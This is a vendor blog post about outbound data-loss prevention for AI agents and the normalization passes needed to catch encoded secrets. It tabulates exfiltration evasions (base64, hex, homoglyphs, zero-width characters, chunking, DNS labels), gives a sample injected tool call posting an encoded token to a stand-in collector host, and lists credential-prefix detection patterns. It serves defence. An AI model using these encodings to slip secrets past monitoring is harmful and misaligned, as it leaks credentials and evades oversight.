Skip to content

Encoded-Secret Egress: Base64, Homoglyphs, and the Normalization Passes Outbound DLP for AI Agents Needs

Outbound DLP for AI agents fails without normalization: see the base64, homoglyph and chunking evasions Agent G decodes at egress. Request beta access.

By Agent G Engineering7

Outbound DLP for AI agents only works if the scanner normalizes traffic before it matches. An agent that base64s a token, percent-encodes it into a query string, or swaps ASCII letters for Cyrillic homoglyphs will sail past a regex that expects AKIA[0-9A-Z]{16}. Normalization passes, run in order, restore the plaintext the detector was written for.

Why outbound DLP for AI agents breaks on the first encoding hop

Traditional DLP was built for humans attaching files to email. An LLM agent is different: it composes payloads programmatically, it follows instructions from retrieved content it did not author, and it has a dozen legitimate tools that accept arbitrary strings. A single prompt injection can produce a tool call like POST https://collector.example.net/ingest with a body of {'note':'c2stcHJvai1hYmMxMjM...'} and nothing in that request looks like a credential to a naive matcher.

Three properties of agent traffic make this worse than the classic DLP problem:

  • Encoding is normal. Agents base64 file contents, JSON-escape logs, and URL-encode parameters as routine behavior, so encoded blobs are not anomalous on their own.
  • The channel is allowed. Exfiltration usually rides an approved destination such as a Slack webhook, a Notion API, or a self-hosted MCP server, not a domain your allowlist would reject.
  • The attacker controls the encoding, not you. Injected instructions can specify hex, base32, or a rot13 pass, and the model will comply.

That is why detection cannot be the first step. Decoding is.

Base64 exfiltration and its cousins: what actually shows up on the wire

Below are the evasions we see most often against inline scanners, and the pass that defeats each one.

EvasionWhat it looks like on the wireRegex-only resultPass that catches it
Base64 bodyZ2hwX0FiQzEyMzQ1Njc4OTA=MissCandidate decode (pass 6)
Base64url in a query param?d=Z2hwX0FiQzEy... with - and _MissURL decode plus alphabet-aware decode
Hex or base3267687061626331...MissCandidate decode
Gzip then base64Compressed blob inside a JSON stringMissContent decode then recursive rescan
Homoglyph substitutionCyrillic а replacing ASCII a in sk-liveMissNFKC plus confusable folding
Zero-width injectiongh​p_AbC123MissInvisible character stripping
Field splittingSecret split across three JSON keysMissStructural parse plus sibling concatenation
Chunked over N requests20 chars per call to the same hostMissPer-session cross-request accumulation
DNS label encodingc2stcHJvag.exfil.example.comMissLabel decode at the DNS resolver hook

None of these require sophistication. They require one sentence of injected text telling the agent to encode before sending. If you want to see how the same trick plays out over sanctioned messaging tools, read our walkthrough on stopping agent exfiltration via email, Slack and webhooks.

The DLP normalization pipeline an LLM egress proxy should run

Run these passes in order, on every outbound request body, header set, URL, and (where policy allows) response body. Each pass emits candidate strings that feed the next.

  1. Transport and content decode. Undo Content-Encoding: gzip, br, and deflate; reassemble chunked transfer encoding; split multipart/form-data into parts with their own content types.
  2. Structural parse. Parse JSON, form-encoded bodies, XML, and MCP JSON-RPC envelopes into a tree, then walk to the leaves. Scanning raw bytes only is how field-splitting wins; scanning leaves plus the concatenation of sibling leaves is how you close it.
  3. Percent and entity decode. Iteratively URL-decode and HTML-entity-decode each leaf, with a hard iteration cap (three is plenty) to avoid decode loops.
  4. Unicode normalization. Apply NFKC, strip zero-width and bidirectional control characters, then fold confusables to an ASCII skeleton so Cyrillic а, Greek ο, and fullwidth forms collapse onto their Latin equivalents.
  5. Delimiter and whitespace collapse. Remove inserted separators (spaces, newlines, hyphens, backslash escapes) from high-entropy runs so gh p_ A b C becomes a single candidate token.
  6. Candidate decode. For every run of 16 or more characters that matches a base64, base64url, base32, or hex alphabet, attempt a decode. Keep the result only if it is valid UTF-8 or a recognized magic-byte format.
  7. Recursive rescan with budgets. Feed successful decodes back to pass 1. Cap recursion depth at three, cap expanded bytes (for example 8x the original body or a fixed ceiling), and cap wall-clock time per request. When a budget trips, fail closed on high-risk destinations and log the truncation.

Agent credential leak detection after normalization

Once the text is normalized you can finally run detectors that are precise instead of paranoid. A practical detector stack has four layers:

  • Prefix and structure matchers. Known issuer formats are the cheapest, highest-confidence signal: AKIA and ASIA for AWS, ghp_ and github_pat_ for GitHub, xoxb- for Slack, sk_live_ for Stripe, AIza for Google, eyJ headers for JWTs, and PEM block headers for private keys.
  • Checksum and shape validation. Several providers embed checksums or fixed lengths. Validating them turns a noisy match into a near-certain one and kills false positives on random-looking build IDs.
  • Entropy scoring. Shannon entropy over a sliding window catches unknown or rotated formats that no prefix rule covers. Score, do not block, on entropy alone.
  • Context weighting. The same token is a different risk in a call to your internal vault than in a POST to a first-seen domain. Combine detector confidence with destination reputation and agent identity before choosing an action.

Detection is only half of it; what you do next is policy. Our guide to catching leaked API keys and OAuth tokens on the way out covers the enforcement side in depth.

Choosing the action: block, redact, or escalate

Not every hit deserves a hard deny. Map detector confidence and destination tier to one of four outcomes:

  • Allow and log when confidence is low and the destination is an approved internal service.
  • Redact inline when the payload is otherwise legitimate: replace the matched span with a stable placeholder such as [REDACTED:aws_access_key] and forward the request. This keeps the agent functional while the secret stays inside your perimeter.
  • Escalate to a human when the action is irreversible or the destination is unfamiliar. Hold the connection, surface the decoded evidence and the diff, and require an approver.
  • Block and alert when a high-confidence credential is heading to a non-allowlisted host, and emit a receipt with the normalization chain that produced the finding.

Whatever you log, log the derivation, not the secret: record the pass sequence (for example url_decode -> base64 -> nfkc), the detector name, the offset, and a truncated hash. A DLP log that contains the plaintext credential is a second breach waiting to happen.

How Agent G runs this inline

Agent G sits on the agent's egress path as a drop-in forward proxy with TLS interception, so it sees the fully assembled request the way the destination will: decoded, parsed, and attributable to a specific agent identity. The normalization pipeline above runs before policy evaluation, and the same passes apply to MCP JSON-RPC tool arguments and responses, not just plain HTTP bodies. That matters because tool arguments are where the interesting strings live, which is exactly the gap covered in our MCP gateway capability.

Cross-request accumulation is handled per agent session: if a single agent sends 40 twenty-character fragments to the same host in a short window, the reassembled buffer is scanned as one document. Deny decisions, redactions, and approval holds are all written to the same structured event stream, so your SOC gets one canonical record per outbound action rather than a partial view from application logs.

Before you trust any of this in production, attack it. Our guide to red-teaming an AI agent's egress path includes the encoded-payload cases you should replay against your own policy.

Frequently Asked Questions

Does normalization add unacceptable latency?

Not if you budget it. Structural parsing and Unicode folding are microsecond-scale on typical tool-call payloads. Candidate decoding is the expensive pass, so bound it with a recursion depth of three, a byte-expansion ceiling, and a per-request time budget that fails closed on untrusted destinations.

How do I avoid false positives from legitimate base64 payloads?

Agents legitimately base64 images and file contents. Use magic-byte detection to classify decoded blobs, skip binary formats, and require a detector hit (prefix, checksum, or high entropy plus context) rather than treating any successful decode as suspicious. Redaction beats blocking for borderline cases.

Can outbound DLP for AI agents catch secrets split across many requests?

Yes, with per-agent session accumulation. Buffer normalized fragments sent to the same destination within a rolling window, rescan the concatenation, and rate-limit any agent that produces a high count of small, high-entropy writes to one host.

Is this different from prompt-layer or model-layer filtering?

Completely. Prompt filters inspect what goes into or comes out of the model. Encoded-secret egress happens after the model decides, inside the tool call. Only a control on the network path sees the final bytes, which is why egress enforcement is the reliable backstop.

Put normalization in front of your agents

Outbound DLP for AI agents is a decoding problem before it is a matching problem. Build the pipeline (transport decode, structural parse, percent decode, Unicode folding, delimiter collapse, candidate decode, bounded recursion), then let precise detectors and identity-aware policy decide between allow, redact, escalate, and block. Agent G ships this pipeline inline at the egress boundary with signed logs of every decision. Request access to the Agent G private beta to run it against your own agent traffic, or start with an overview of the platform.

Agent G

Drop-in guardrails for the agentic era.

Intercept every network call your AI makes. Block destructive actions, enforce approvals, log everything.

Request access